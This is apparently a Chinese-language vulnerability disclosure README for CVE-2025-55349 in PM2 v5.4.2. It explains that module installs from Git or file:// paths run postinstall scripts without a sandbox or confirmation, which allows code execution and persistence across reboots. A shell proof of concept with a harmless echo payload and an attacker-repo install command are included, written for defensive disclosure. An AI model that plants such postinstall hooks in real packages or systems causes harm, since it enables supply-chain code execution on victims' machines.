
repo for CVE-2025-55349
postinstall 的任意代码执行发现者: Golden Ticket Labs
供应商: Unitech (pm2)
分配日期: 2025年8月20日 (MITRE)
Unitech PM2 v5.4.2 中 lib/API/Modules/NPM.js 组件的一个问题允许通过安装带有精心构造的 postinstall 脚本的包来执行任意代码。
PM2 在从基于 Git 或本地文件安装中调用时,会自动运行 postinstall 生命周期脚本,而无需沙箱或用户确认,包括通过以下方式调用时:
即使模块损坏或无法正常工作,此漏洞仍然存在,并且当攻击者代码注册为 PM2 启动模块时,可以在系统重启后持久存在。
| 版本 | 状态 |
|---|---|
| ≤ 5.4.2 | 易受攻击 |
| 6.0.5 | 已修复 — Git 解析逻辑已移除 (PR #5909),但修复未记录且未出现在变更日志中。 |
攻击者可以准备一个恶意的 Git 仓库,其中包含一个带有精心构造的 postinstall 脚本的 package.json。
当通过 PM2 安装时,该脚本会自动执行:
pm2 install https://github.com/attacker/malicious-module.git
PM2 在模块安装期间将 Git 仓库视为隐式受信任的。像 postinstall 这样的生命周期脚本在没有沙箱、可见性或确认的情况下执行。
这会影响远程 Git URL 和本地 file:// 路径,从而显著扩大攻击面。由于 PM2 模块通常在系统启动时启动,因此持久化和嵌入未授权行为的风险很高。
⚠️ 不提供武器化利用代码。这是一个安全演示。
# 创建一个恶意仓库
git init pm2-evil
cd pm2-evil
cat > package.json <<EOF
{
"name": "pm2-evil",
"version": "1.0.0",
"scripts": {
"postinstall": "echo 'pwned by CVE-2025-55349'"
}
}
EOF
git add package.json
git commit -m "Evil postinstall"
cd ..
# 触发安装(在易受攻击的 pm2 v5.4.2 上)
pm2 install file://$PWD/pm2-evil
在易受攻击的版本上,postinstall 命令会立即执行。
本仓库中的所有内容仅供教育和防御目的。 不包含任何利用载荷。未经明确授权,请勿将这些技术用于任何系统。
Golden Ticket Labs
📧 [email protected]
🌐 goldenticketlabs.com